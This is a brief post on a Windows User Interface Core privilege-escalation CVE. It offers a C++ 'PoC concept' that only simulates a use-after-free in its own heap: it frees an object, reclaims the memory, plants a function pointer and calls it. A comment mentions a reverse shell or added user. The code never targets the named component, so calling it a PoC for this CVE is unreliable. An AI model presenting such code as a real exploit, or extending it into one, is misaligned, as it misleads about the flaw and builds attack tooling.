CVE-2026-32165 Windows User Interface Core权限提升漏洞

// PoC Concept for Use After Free in Windows User Interface Core // This is a simulation of the UAF trigger logic. #include <windows.h> #include <iostream> // Mocking the vulnerable object structure typedef struct _VULN_OBJECT { DWORD dwSignature; VOID (*pFunction)(void); } VULN_OBJECT, *PVULN_OBJECT; // Malicious function to replace the vtable pointer void MaliciousPayload() { printf("[+] Exploit triggered! Executing code with elevated privileges.\n"); // In a real scenario, this would start a reverse shell or add a user. } int main() { PVULN_OBJECT pObject = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); // 1. Initialize the object (System controlled) pObject->dwSignature = 0x41414141; pObject->pFunction = NULL; printf("[*] Object allocated at: %p\n", pObject); // 2. Trigger the vulnerability (Free the object) // Simulating the 'Use After Free' condition where the reference is not cleared HeapFree(GetProcessHeap(), 0, pObject); printf("[*] Object freed.\n"); // 3. Re-allocate the memory to control execution flow (Heap Spraying simulation) PVULN_OBJECT pFakeObject = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); if (pFakeObject == pObject) { printf("[+] Successfully reclaimed memory at: %p\n", pFakeObject); pFakeObject->dwSignature = 0x42424242; pFakeObject->pFunction = MaliciousPayload; } else { printf("[-] Failed to reclaim memory. Exploit reliability may vary.\n"); } // 4. Trigger the 'Use' - The system attempts to call the function pointer if (pObject && pObject->pFunction != NULL) { printf("[*] Calling dangling pointer...\n"); pObject->pFunction(); } return 0; }